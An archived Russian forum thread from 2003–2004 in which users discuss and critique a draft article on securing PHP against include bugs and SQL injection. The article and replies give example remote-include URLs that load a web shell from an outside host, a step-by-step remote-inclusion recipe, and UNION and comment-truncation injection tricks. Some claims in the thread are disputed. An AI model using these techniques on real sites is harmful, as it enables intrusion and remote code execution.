Ru-Board.club
← Вернуться в раздел «Web-программирование»

» Безопасное программирование на PHP

Автор: Terabyte
Дата сообщения: 02.11.2003 10:27
xntx
Правдо? Ну тогда ладно =) Буду спать спокойно =)
Автор: Terabyte
Дата сообщения: 02.11.2003 17:18
Вот тема где мне посоветовали юзать mysql_escape_string http://phpclub.net/talk/showthread.php?s=&postid=268006

Кому влом туда бежать, процитирую ответ на вопрос, чем эта ф. лучше addslashes:


Цитата:
Потому, что одно и то же это только в ТЕКУЩЕЙ версии MySQL. Если в MySQL в будущих версиях изменятся правила, то будет изменена и функция mysql_escape_string, тогда как addslashes останется без изменений. Несмотря на низкую вероятность этого события нужно стараться всегда писать правильно, а не тоолько тогда, когда это немедленно приводит к катастрофе.

Автор: Sergeant
Дата сообщения: 03.11.2003 00:39
Terabyte,
Неужели на том же phpclub'е тебе еще не дали эту ссылку?
Автор: Terabyte
Дата сообщения: 03.11.2003 05:54
Не дали =)
Автор: Terabyte
Дата сообщения: 30.01.2004 18:32
А вообще теоретически ведь можно вставить закрывающую кавычку и внедрить новый СКЛ код с помощью char() или нет?
Автор: Terabyte
Дата сообщения: 31.01.2004 15:13

Цитата:
$mode=isset($_GET['mode']) ? addslashes($_GET['mode']) : NULL;


А можно сделать так чтобы не толкьо какая конкретная переменная если не будет определена через масив GET или POST, чтобы ей присваивалось значение NULL?
Автор: xntx
Дата сообщения: 31.01.2004 15:48
Terabyte
обьяснись...
а то, ответ на твой вопрос таков: по дефолты все переменные NULL

Добавлено

Цитата:
А вообще теоретически ведь можно вставить закрывающую кавычку и внедрить новый СКЛ код с помощью char() или нет?

а как ты вставишь функцию так, чтоб она выполнилась?
Автор: Terabyte
Дата сообщения: 31.01.2004 16:50

Цитата:
обьяснись...
а то, ответ на твой вопрос таков: по дефолты все переменные NULL

Ну ведь с 4.2.0 register_globals=off . Дак вот , чтобы нельзя было похачить через инклуд баг модули какого нибудь движка, который на старой ПХП стоит.



Цитата:
а как ты вставишь функцию так, чтоб она выполнилась?

Эта комманда мускула. А вставлю через переменную
Ну корчое мне объяснили уже, что с чар прокати только в MSSQL, а в MySQL все путем и не проскочит так кавычка =)

Добавлено
Вот написал новвую статью, прошу заценить. Все комментарии, критика, дополнения и корректеровки постить сюда =)


Цитата:

**********************************
Безопасное программирование на PHP
**********************************

Автор: Terabyte (http://www.web-hack.ru)


В этой статье я хочу рассказать основные принципы безопасного программирования на PHP. На написание статьи меня подтолкнул тот факт, что в интернете очень много статей о том как взламывать сайты через дыры в PHP-скрпитах, но очень мало советов (и все они разбросаны) как не делать ошибок, через которые сайт может быть взломан. Статью я решил разделить на несколько частей, каждая из которых посвящена какому то типу ошибок и примером, как этой ошибки избежать. В конце статьи я хочу дать общие советы. Так же хочу заметить, что в статье НЕТ конкретных примеров по взлому, а те кто хочет с ними познакомиться я отсылаю на очень хороший и большой архив - http://www.web-hack.ru/books/books.php?go=36 . В нем собрана большая коллекция статей посвященных взлому сайтов черех PHP-скрпиты. Итак, приступим.


===========
Include-баг
===========

Это очень старый и почти всем известный баг в скриптах, но к сожалению до сих пор очень актуальный. Ф-ция include() (ее аналог: inсlude_once()) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Наиболее частой ошибкой с этой ф-цей является код: include("$file") , а переменная $file берется из параметра к скрипту (например, qwe.php?file=index.php). Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.
Решением проблемы с Include-багом является отсутствие переменной передаваемой в запросе к скрипту, для инклуда. В таких случаях можно использовать конструкцию с оператором switch, например так:

switch ($case) // $case - имя переменной передаваемой в параметре к скрипту
{
case news:
include("news.php");
break;

case articles:
include("articles.php");
break;

... // и т.д.

default:
include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница
break;
}

Многие наивные программисты думают, что если они сделают конструкцию типа include("$file.php"), то их не смогут сломать. Они глубоко ошибаются! Во-первых, в старых версиях PHP (например, PHP<=4.0.3pl1) присутствовал баг null-byte (знакомый еще из Perl), который позволял отбросить расширение (да и вообще, что угодно после переменной) файла. Во-вторых, даже если версия PHP на сервере новая, то можно проинклудить любой php-файл на этом сервер (если хватит прав на его чтение), а это тоже не есть хорошо. Так что запомните совет: по возможности НИКОГДА не передавайте переменные через параметр к скрипту, которые потом будут участвовать в ф-ции include(). Я конечно понимаю, что можно сделать крутые фильтры на эту переменную, но как показывает практика - "Береженного - бог бережет". Все выше описанное, так же относится к ф-циям: fopen(), require(), require_once() и inсlude_once().

Так же рекомендуя в конфиге PHP устанавливать register_globals=off (начиная с версии 4.2.0 переменная выключена по умолчанию), т.к. если ваш движек использует модули и в каком то модуле есть строка include("$file") , а значение переменной $file задается не в этом модуле, а в главном файле, то хакер может передать $file через параметр к файлу модуля в браузере.


============
SQL-инъекции
============

Все больше и больше кодеров начинают делать в своих скриптах взаимодействие с базами данных. Как правило, используется MySQL (реже MSSQL). В данной статье я расскажу о мерах защиты PHP+MySQL, т.к. с MSSQL я не работаю и она дает куда больше возможностей для хакера, чем MySQL. Суть уязвимостей такого типа заключается в том, что через переменные которые передаются через параметр к скрипту и участвуют в SQL-запросе, злоумышленник может внедрить свой SQL-код и тем самым модифицировать запрос к БД. Я не буду подробно заострять внимание на самом принципе SQL-инъекций, а просто расскажу как их избежать. Тех, кто хочет узнать, как происходят SQL-инъекции, может прочитать о них тут (http://rst.void.ru/texts/sql-inj.txt). Приведу не большой пример:

SELECT * FROM table WHERE user='$go'

Допусти эта переменная $go передается как параметр к скрипту и выполняется SQL-комманда. Все бы хорошо, что хакер может в качестве значения к переменой передать user=lamer' (обратите внимание на кавычку) и сам закрыть условие, а далее внедрить через ф-цию UNION (эта ф-ция появилась с MySQL4, а значит в более ранних версиях инъкция не получится) другую команду SELECT и тем самым получить конфиденциальную информацию из базы (например, пароли) если узнает ее строение. Если бы после условия шли бы еще какие то другие условия (не нужные хакеру), то он бы их смог легко обрезать так "-" или так "/*" (эти символы в MySQL означают дальнейший комментарий). Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).

Для решения проблемы с SQL-инъекциями нам необходимо фильтровать передаваемые в SQL-комманде переменные. Это достигается следующими способами:
1) Никогда не забывайте ставить значения в кавычки (это пригодится нам для дальнейшей фильтрации переменных). Т.е. так user='$go' , а не так user=$go ! Кстати, если переменная является числом, то ее значение тоже можно указать в кавычках.
2) Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу:
$go=(int)$go; или $go=intval($go);
3) Если переменная не является числом, то нам нужно просто отследить отсутствие кавычек, этого можно добиться ф-цией mysql_escape_string() (ее аналог является addslashes()). Ф-ция предназначена для того, чтобы ставить слеш перед кавычкой (\'). Теперь даже если хакер попробует внедрить свой SQL-код, то он не выйдет за пределы кавычек.

Если вы являетесь параноиком, то можете сделать фильтрацию на основные ф-ции в MySQL, которые используются для инъекций: UNOIN и CHAR.


======
Советы
======

1) Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.
2) Никогда не делайте пароль на доступ к SQL-базе таким же, как и на FTP. А если у вас на хостинге по умолчанию так и сделано (пароли одинаковые), то требуйте от хостерах чтобы он сделал их разными, т.к. если хакер получит веб-шел на сервер и сможет прочесть конфиг с паролем к SQL-базе => сможет получить FTP-доступ.
3) Шифруйте все пароли доступа к различным закрытым зонам специальными ф-циями, например md5(). Если хакер сможет получить базу с такими паролями, то расшифровать их будет проблематично.
4) Следите за обновлениями самой версии PHP (http://www.php.net) и своевременно обновляйте ее при выходе новой стабильной версии, потому что не только PHP-код может таить в себе уязвимость, но и сам интерпретатор языка (я думаю все помнят о PHP 4.0.2-4.0.7 которая позволяла удаленно открыть веб-шел).
5) По возможности давайте не распространенные имена к конфигам с паролями (cfg.php и т.д., а не config.php или conf.php), т.к. это затруднит поиск конфигов с помощью поиска по файлам сервера (find / -name conf*) хакером.
6) Не пренебрегайте возможностью сделать HTTP-аутификацию средствами PHP, особенно если нет возможности это сделать на уровне Апача (.htaccess и .htpasswd). Более подробно о таком виде аутификации и других видах можете прочесть в серии статей "Авторизация доступа" (http://www.web-hack.ru/books/books.php?go=37).
7) По возможности держите ваш PHP в режиме safe mode (safe_mode=on). Так же советую вырубить инициализацию глобальных переменных (register_globals=off) и возможность fonen() открывать адреса из веба (allow_url_fopen=off). Еще можно запретить опасные ф-ции:
disable_functions=phpinfo,system,passthru
8) Если пишите гостевуху и т.п., то не забывайте ставить фильтрацию во всех формах (ник, мыло и т.д.) на теги с помощь ф-ции htmlspecialchars(). Кстати, если в теле сообщений нужно использовать теги, то лучше сделать свои (типа и т.д.), а не делать фильтры на запрещение не нужных.
9) Шифруйте исходники на PHP и особенно конфиги с помощью Zend Optimizer (http://www.zend.com).


==========
Заключение
==========

если у вас есть дополнение, исправление, нарекание и т.п. к этой статье, то жду ваших писем и сообщений на моем форуме. Обсуждение статьи проходит в данной теме (http://forum.web-hack.ru/index.php?showtopic=5831). Хочу выразить благодарность следующим лицам: 1dt.w0lf, LX и ru-board (форум).


=====[ Terabyte | http://www.web-hack.ru | 31.01.2004 ]=====

Автор: xntx
Дата сообщения: 31.01.2004 22:36
Terabyte
фигня начинается уже с первой "части"

Цитата:
Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.

интересно, а как это можно инклудить файлы с других серверов? это с каких пор?

Цитата:
В таких случаях можно использовать конструкцию с оператором case,

а может все таки надо использовать "switch"?

Добавлено

Цитата:
Все выше описанное, так же относится к ф-циям: fonen(),

очепятка: fopen()

Цитата:
.к. с MSSQL я не работаю и она дает куда больше возможностей для хакера, чем MySQL.


убедительная просьба: расскажи чем это mssql хуже mysql?

Цитата:
Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).

хм, а что в mysql нельзя вставить символ ";"

Цитата:
Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу:
$go=(int)$go;

или $go = intval($go);...

Цитата:
на основные ф-ции в MySQL, которые используются для инъекций: UNOIN и CHAR.

1. блин, как задалбывают твои сокращения типа "ф-ции"... ты статью пишешь или смску?
2. всетаки, обьясни что ты с char хочешь делать??

Цитата:
Шифруйте исходники на PHP и особенно конфиги с помощью Zend (http://www.zend.com).

скорее всего т хотел сказать с помощью "Zend Optimizer"...

Добавлено
вобщем мое мнение: статья - фигня. оценка - 2 балла

Добавлено
а как мне интересно стало увидить в живую удаленный инклуд... жуть
Автор: Adaman
Дата сообщения: 01.02.2004 02:32

Цитата:
интересно, а как это можно инклудить файлы с других серверов? это с каких пор?

Всегда можно было. http://ru.php.net/include/
Цитата:
If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using an URL (via HTTP or other supported wrapper - see Appendix I for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using an URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.



Цитата:
хм, а что в mysql нельзя вставить символ ";"
Не знаю как там с mssql_query(), но c mysql_query() нельзя использовать в одном запросе ; http://ru.php.net/mysql_query Комменты юзеров - там и описание этого, и способы обхода.
Автор: xntx
Дата сообщения: 01.02.2004 03:00
Adaman
эм, значит так... файл не инклудится, а инклудится его результат, совсем разные вещи.
это "дыра" такая же как и register_globals и поэтому всегда надо перед тем как юзать $file надо делать $file = ''; или $file = 0; (для каждого случая свое..)
вобщем это тоже самое что и называть дырой то, что программер создает файл config.txt (а то и config.htm) в котором он будет хранить пароли к mysql...


Цитата:
Не знаю как там с mssql_query(), но c mysql_query() нельзя использовать в одном запросе ; http://ru.php.net/mysql_query Комменты юзеров - там и описание этого, и способы обхода.

сам никогда не пробовал, просто знаю что через такие вещи как mysql admin можно запустить сразу два квери...
Автор: Terabyte
Дата сообщения: 01.02.2004 10:48

Цитата:
интересно, а как это можно инклудить файлы с других серверов? это с каких пор?

Тебе кинуть в ПМ кокретный сайт с такой уязвимотью на котормо я шелл с правами апача этим имею?


Цитата:
а может все таки надо использовать "switch"?

Согалсен, ошибка =))


Цитата:
очепятка: fopen()

ок


Цитата:
убедительная просьба: расскажи чем это mssql хуже mysql?

Ну начиная тем, что ; и кавычку чаром ставить можно и кончая более легкими возможностями получить веб-щелл. Честно скажу, с этой базой дел мало имел, так что много не знаю. Советую обраться со всеми вопросами по этой теме по мылу r00t(@)rsteam.ru - человек знающий.


Цитата:
м, а что в mysql нельзя вставить символ ";"

в за просах mysql_query() нельзя.


Цитата:
или $go = intval($go);...

Ок, добавил на вский случай в статью.



Цитата:
1. блин, как задалбывают твои сокращения типа "ф-ции"... ты статью пишешь или смску?

Ок, уберу когда финальная версия статьи выйдет.



Цитата:
2. всетаки, обьясни что ты с char хочешь делать??

Вот для примера - http://www.securitylab.ru/41501.html


Цитата:
скорее всего т хотел сказать с помощью "Zend Optimizer"...

Ага, писать было лень уже просто =) регил сократить =)))


Цитата:
вобщем мое мнение: статья - фигня. оценка - 2 балла

Хм... А что так? Какие бы ты раздел (добавления) хотел видеть еще в ней для общей полноты каритны?


Цитата:
эм, значит так... файл не инклудится, а инклудится его результат, совсем разные вещи.

Нет, не результат а файл! Файл надо класть на хостинг где не поддерживается PHP или давать расширение например txt
Автор: xntx
Дата сообщения: 01.02.2004 11:56
Terabyte

Цитата:
кинуть в ПМ кокретный сайт с такой уязвимотью на котормо я шелл с правами апача этим имею?

да плиз, просто интересно

Цитата:
кавычку чаром ставить можно

да нельзя ее вставить, пойми, если кавычку чаром вставим, то она кавычкой станет уже после обработки запроса, так что нам это не пойдет...

Цитата:
Ну начиная тем, что ;

уже не хуже, уже везде есть mysql 4.0 UNION;)

Цитата:
в за просах mysql_query() нельзя.

а незнал...

Цитата:
Вот для примера - http://www.securitylab.ru/41501.html

там mysql , а вот теперь я тебе обьясню зачем там чар: а он там нужен чтоб вернуть скрипту значение с кавычкой, а не для того запустить sql с кавычкой, вот вобщем:
делаем запрос:

Код: SELECT char( 97, 58, 55, 58, 123, 115, 58, 49, 52, 58, 34, 115, 101, 97, 114, 99, 104, 95, 114, 101, 115, 117, 108, 116, 115, 34, 59, 115, 58, 49, 58, 34, 49, 34, 59, 115, 58, 49, 55, 58, 34, 116, 111, 116, 97, 108, 95, 109, 97, 116, 99, 104, 95, 99, 111, 117, 110, 116, 34, 59, 105, 58, 53, 59, 115, 58, 49, 50, 58, 34, 115, 112, 108, 105, 116, 95, 115, 101, 97, 114, 99, 104, 34, 59, 97, 58, 49, 58, 123, 105, 58, 48, 59, 115, 58, 51, 50, 58, 34 )
Автор: Terabyte
Дата сообщения: 01.02.2004 12:24

Цитата:
да плиз, просто интересно

Лови


Цитата:
да нельзя ее вставить, пойми, если кавычку чаром вставим, то она кавычкой станет уже после обработки запроса, так что нам это не пойдет...

Я про MS. А вообще точно не уверен, не проверял на практике, мне об этом 1dt.w0lf , чье мыло я дал выше. А вообще вот одна из его статей - http://rst.void.ru/texts/sql-inj.txt


Цитата:
уже не хуже, уже везде есть mysql 4.0 UNION;)

Не, ну ты что. UNION на МНОГО безопаснее ; Его можно юзать толкьо с селектом + кол-во столбцов другой таблице и тип столбцов должны быть одинаковы


Цитата:
там mysql , а вот теперь я тебе обьясню зачем там чар: а он там нужен чтоб вернуть скрипту значение с кавычкой, а не для того запустить sql с кавычкой, вот вобщем:
делаем запрос:

Да знаю я для чего там чар юзается, я просто для примера юзание этой ф-ции дал.


Цитата:
3. добавить межсайтовый скриптинг

Ок, надо будет заняться.
Автор: Swappp
Дата сообщения: 01.02.2004 12:57
Terabyte
В целом не плохо, только по этой теме уже столько написано...

Цитата:
Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.

на самом деле это можно решить Unix правами, правда не все хостеры правильно настраивают свои сервера

Цитата:
По возможности держите ваш PHP в режиме safe mode (safe_mode=on).

ну с этим ты погорячился, safe_mode слишком мало позволяет, чтобы пускать на нем серьезные скрипты.

Цитата:
и возможность fonen() открывать адреса из веба (allow_url_fopen=off).

это тоже часто нужная вещь.

Цитата:
Еще можно запретить опасные ф-ции:
disable_functions=phpinfo,system,passthru

опять перебор, во первых exec пропустил, во вторых я phpinfo иногда использую при отладки скрипта на сервере (не всегда же помнить конфигурацию )

Цитата:
8) Если пишите гостевуху и т.п., то не забывайте ставить фильтрацию во всех формах (ник, мыло и т.д.) на теги с помощь ф-ции htmlspecialchars(). Кстати, если в теле сообщений нужно использовать теги, то лучше сделать свои (типа ... и т.д.), а не делать фильтры на запрещение не нужных.

здесь вообще все просто. strip_tags($text, '<br><b><i><u>') и не надо изобретать псевдо-язык разметки.

Ну и еще одно правило "Проверяйте все данные передаваемые пользователем!"
xntx

Цитата:
2. убрать спорные выражения, типа mssql лечге хакнуть чем mysql итп

Флеймообразующие врядли кто-нибудь будет спорить, что чем сложнее программа тем больше вероятности совершить ошибку. а если посмотреть как часто выходят релизы mysql 3 ветки, и mssql, то создается ощущение что MS пишет идеально защищенные проги, в которых после релиза не находят ни одной дырки... сорри на флейм потянуло
Автор: Terabyte
Дата сообщения: 01.02.2004 13:09

Цитата:
на самом деле это можно решить Unix правами, правда не все хостеры правильно настраивают свои сервера

Согласен


Цитата:
ну с этим ты погорячился, safe_mode слишком мало позволяет, чтобы пускать на нем серьезные скрипты.

В прницпе да, тут все от ситуаци зависит. А что за серьезные скрпиты. Вот напрмиер у нас на хостер http://www.balthost.ee в сейф моде ПХП, вроде никто не жалуется.


Цитата:
опять перебор, во первых exec пропустил, во вторых я phpinfo иногда использую при отладки скрипта на сервере (не всегда же помнить конфигурацию )

1) Что пропустил? кстати, escapeshellcmd и cmd (такая ф-ция вообще есть?) тоже ведь дают шел? А то прочел тут в одной статье, вот думаю добавить в свою.
2) Ну можно один раз созранить на локал хост конфиг и все. Тут опять же все от ситуации зависит, на сколкьо админ параноик. Я бы лучше все отключил =)


Цитата:
здесь вообще все просто. strip_tags($text, '<br><b><i><u>') и не надо изобретать псевдо-язык разметки.

Да. это я знаю, но со своими тегами куда лучшею Можно ограничить в разрешенных тегах параметры, юзеру не нужно будет париться, елси надо запостить код с тегами, ну писать так &lt; &gt;


Цитата:
Флеймообразующие врядли кто-нибудь будет спорить, что чем сложнее программа тем больше вероятности совершить ошибку. а если посмотреть как часто выходят релизы mysql 3 ветки, и mssql, то создается ощущение что MS пишет идеально защищенные проги, в которых после релиза не находят ни одной дырки... сорри на флейм потянуло

Я не понял, что ты этим хочешь сказть =)
Автор: Adaman
Дата сообщения: 01.02.2004 16:24
xntx

Цитата:
эм, значит так... файл не инклудится, а инклудится его результат, совсем разные вещи.
Ну да - только в мане это все равно называют инклудом.


Цитата:
вобщем это тоже самое что и называть дырой то, что программер создает файл config.txt (а то и config.htm) в котором он будет хранить пароли к mysql...
Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.


Цитата:
сам никогда не пробовал, просто знаю что через такие вещи как mysql admin можно запустить сразу два квери...
Через mysql admin можно, но они там специально обрабатывают запросы с точкой запятой. Просто так нельзя.
Автор: Terabyte
Дата сообщения: 01.02.2004 20:20

Цитата:
Ну да - только в мане это все равно называют инклудом.

Кокраз файл инклудится.


Цитата:
Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.

Ну да алдно нет, еще как есть. Уже дофига критических нашли. почитай багтраки. Забыл что ли о эксплоите от Тесо?
Автор: Swappp
Дата сообщения: 01.02.2004 20:33
Terabyte

Цитата:
Я не понял, что ты этим хочешь сказть =)

ну и хорошо, меньше флейма может будет
xntx

Цитата:
а как мне интересно стало увидить в живую удаленный инклуд... жуть

только что попробовал на локалхосте, действует также как и с локальными файлами, тоесть скачивает, а потом выполняет! единственное, если файл .php то серверу не дается код, а отдается результат, а если .txt или .html то все работает.
Автор: Adaman
Дата сообщения: 01.02.2004 20:58

Цитата:
Кокраз файл инклудится.
Вообщем проблема в терминологии. Как на самом деле происходит доступно напиано в мане.


Цитата:
Ну да алдно нет, еще как есть. Уже дофига критических нашли. почитай багтраки. Забыл что ли о эксплоите от Тесо?
Отлично. Впред - сломай-ка php.net.
Автор: Terabyte
Дата сообщения: 01.02.2004 21:07

Цитата:
Отлично. Впред - сломай-ка php.net.

Без комментариев...
Автор: xntx
Дата сообщения: 04.02.2004 16:53

Цитата:
Не, ну ты что. UNION на МНОГО безопаснее ; Его можно юзать толкьо с селектом + кол-во столбцов другой таблице и тип столбцов должны быть одинаковы

одинаковы не должны быть, ведь можно выбрать "ляляля" как "ляляля" итп. итд.

Цитата:
Да знаю я для чего там чар юзается, я просто для примера юзание этой ф-ции дал.

ну как функция юзается я знаю

Цитата:
Кокраз файл инклудится.

тааак, опят за старое. как ты с удаленного хоста будешь php файл инклудить? пожалуйста с примерами...

Adaman

Цитата:
Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.

ну так, и я о том...

Terabyte

Цитата:
Ну да алдно нет, еще как есть. Уже дофига критических нашли. почитай багтраки. Забыл что ли о эксплоите от Тесо?

в последнем php дыр нет. а если ктото юзает не последний, то он немного болен на голову...

Swappp

Цитата:
а отдается результат, а если .txt или .html то все работает.

ну так, я уже сказал.,... что нормальный человек важную инфу не будет в txt хранить...
и вобще, у нас разные точки зрения, вы хотите инклудить файл с вашего хоста, а я говорю про удаленного файла. локальный файл нет смысла инклудить, т.к. если программист сайта нормален, то ты ничего локального не сможешь заинклудить...

и в конце концов, раз уже об этом говорим, давайте называть по разному разные вещи: инклуд исходного кода, и инклуд результата...
Автор: Swappp
Дата сообщения: 04.02.2004 22:45
xntx

Цитата:
тааак, опят за старое. как ты с удаленного хоста будешь php файл инклудить? пожалуйста с примерами...

Обьясняю подробно:
У меня есть сайт lalalal.lalal.ru
В инете я нашел сайт без проверки инфы котрая суется в include();
на свой сайт выкладываю скрипт, который распечатывает значения каких нить переменных, с расширением .php и в .htaccess отключаю обработку php
дальше передаю в качестве параметра втором сайту ?module=http://lalala.lalal.ru/superhakcscript
после чего будет выполнен мой скрипт на чужой машине...

Цитата:
ну так, я уже сказал.,... что нормальный человек важную инфу не будет в txt хранить...
и вобще, у нас разные точки зрения, вы хотите инклудить файл с вашего хоста, а я говорю про удаленного файла. локальный файл нет смысла инклудить, т.к. если программист сайта нормален, то ты ничего локального не сможешь заинклудить...

и в конце концов, раз уже об этом говорим, давайте называть по разному разные вещи: инклуд исходного кода, и инклуд результата...

читай выше... мы говорим про проверку данных передаваемых include(); если проверка отсутствует, существует уязвимость, называется "Выполнение произвольного кода на удаленной машине"

Добавлено

Цитата:
инклуд исходного кода, и инклуд результата...

кто мешает в результат бросить тэги <?php ?>? и тем самым выполнить свой код, на чужой машине?
Автор: Terabyte
Дата сообщения: 05.02.2004 10:27

Цитата:
тааак, опят за старое. как ты с удаленного хоста будешь php файл инклудить? пожалуйста с примерами...

Да блин, я же тебе в ПМ кидал ссылку, там инклудился txt файл (а значит инклуд исходного кода) на удаленном хосте с ПХП кодом!
Как можно более понятно для тебя слова выразил =))


Цитата:
в последнем php дыр нет.

Запопомни, дыры есть везде! Вопрсо только в том, когда их найдут.

Добавлено

Цитата:
на свой сайт выкладываю скрипт, который распечатывает значения каких нить переменных, с расширением .php и в .htaccess отключаю обработку php

Даже не обязателньо отключать php расширение, просто другое расширение можно файлу дать: txt, qwe, bla ...
Автор: Swappp
Дата сообщения: 05.02.2004 21:19

Цитата:
Даже не обязателньо отключать php расширение, просто другое расширение можно файлу дать: txt, qwe, bla ...

согласен, но в некоторых скриптах пишется так: include("$_GET[lala].php"); тут всетаки придется подсовывать с php или есть способ это обойти?

Добавлено
xntx

Цитата:
т.к. если программист сайта нормален

Мы тут гдето говорили про НОРМАЛЬНЫХ ПРОГРАММИСТОВ? статья ориентирована в первую очередь начинающем, чтоб они не делали глупых ошибок в своих скриптах, я например видел скрипт, который чел продавал за ~$50 маленький портал, так вот, беглым взглядом (просто посмотрев на несколько файлов) я нашел 3 большие дырки: 1. инклуды хоронятся в файлах .txt, в том числе и один файл содержащий пароль. 2. файлы инклудятся без всякой проверки (include("includes/$lalala.php");) 3. админка сделана фреймами, и пароль проверяется один раз, и фактически нужен только для отрисовки frameset'а, а доступ можно было спокойно получить через прямое обращение к файлу... И о каких нормаьльных прграмистах может идти речь? такое решито я бы и бесплатно не ставил...

кстати некоторыми из этими правилами пренебрегали разработчики php-nuke, phpBB и т.д., и при выходе mysql 4 получили дырки, помоему код типа "SELECT * FROM lll WHERE id=$id" очевидно содержит ошибку, можно легко поставить дополнительный параметры хотябы для where... но нет, потенциальную уязвимость игнорировали и получили... лично я еще задолго до выхода mysql4 все переменные в sql запросах ставил в кавычки, и поверял на наличие ' в их теле.
Автор: Terabyte
Дата сообщения: 06.02.2004 09:27
Вообще главной целью статьи было написать об ощибках SQL-инъекций для начинающих и путей избежать эти ошики, а соеты и про инклуд баг я написал чтобы статья хоть не много по больше была =)
Автор: primitive
Дата сообщения: 30.06.2004 22:28
наткнулся тут на одну ошибку и в голове закралась мысль что можно ткнуть мордой криворукого вебмастера

Вообшем случайно перекинуло меня с одного сайта на другой
http://domain/index.php?IDm=6&op=main&IDcont=109

вылезла ошибка


Код:
mmenuMain::makeQuery::SELECT * FROM an_menu WHERE langid=1 AND idparent=0 AND idmenu!= ORDER BY sortfield ASC::failed
Автор: xntx
Дата сообщения: 30.06.2004 23:14
primitive
надо еще и код видеть
Автор: Svarga
Дата сообщения: 15.07.2004 12:32
http://www.bezpeka.com/news/2004/07/1401.html

Цитата:
Опасная уязвимость в PHP, связанная с возможностью удаленного выполнения произвольного кода

Опасная уязвимость обнаружена в PHP при компиляции с включенным параметром memory_limit. Удаленный пользователь может выполнить произвольный код на целевой системе.

Удаленный пользователь может представить специально сформированный HTTP POST запрос, чтобы перехватить процесс выделения памяти, пока Zend HashTables выделяется и инициализируется. Удаленный пользователь может представить специально обработанный HashTable destructor pointer и выполнить произвольный код на целевой системе.

Уязвимые версии: PHP 4.3.7 и более ранние. PHP 5.0.0RC3 и более ранние.

Для устранения проблемы рекомендуется установить обновленную версию программы (4.3.8 или 5.0): http://www.php.net/downloads.php
Автор: Terabyte
Дата сообщения: 23.07.2004 14:42
Вообщем хочу вернуться к тебе SQL уязвимостей и пустей их решения. Как мы уже решили, если в переменной передается 100% целочисленные данные, то можно юзать конструкцию:

$go=(int)$go; или $go=intval($go);

Допусти должно передаваться так ?go=1 но хакер вставил ?go=1' , тогда значени $go будет =0
Но как сделать, чтобы все что не целочисленные данные просто отпадали?

===

Кстаит, хотел бы еще вернуться к теме XSS багов. Не так давно мне подсказали у меня на сайте в поиске такую багу... http://www.web-hack.ru/search/
В поле поиска вводился закрывающий тег и... Ну вообщем поняли =) Я принял вот аткие меры:

$search_xss=htmlspecialchars(mysql_escape_string($search));

Как думаете, это максимум что нужно для защиты от XSS?

Страницы: 1234567

Предыдущая тема: WAP+PHP и русские буквы


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.